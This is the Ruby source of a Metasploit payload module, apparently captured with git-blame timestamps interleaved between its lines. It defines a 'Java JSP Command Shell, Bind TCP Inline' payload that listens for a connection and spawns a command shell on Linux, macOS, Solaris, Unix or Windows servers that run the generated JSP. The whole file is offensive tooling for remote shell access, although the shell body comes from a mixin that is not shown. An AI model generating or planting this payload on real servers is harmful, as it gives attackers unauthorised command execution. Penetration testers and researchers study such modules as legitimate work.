2009-12-30 22:24:22 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 19:52:12 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2014-01-02 22:05:03 +00:00
|
|
|
require 'msf/core/payload/jsp'
|
2009-12-30 22:24:22 +00:00
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2010-02-24 01:19:59 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2009-12-30 22:24:22 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2009-12-30 22:24:22 +00:00
|
|
|
|
2015-03-09 20:31:04 +00:00
|
|
|
CachedSize = 1593
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
2013-12-31 14:27:37 +00:00
|
|
|
include Msf::Payload::JSP
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
2009-12-30 22:24:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Java JSP Command Shell, Bind TCP Inline',
|
|
|
|
'Description' => 'Listen for a connection and spawn a command shell',
|
|
|
|
'Author' => [ 'sf' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ linux osx solaris unix win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def generate
|
2013-12-31 14:27:37 +00:00
|
|
|
return super + jsp_bind_tcp
|
2013-12-30 19:53:58 +00:00
|
|
|
end
|
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|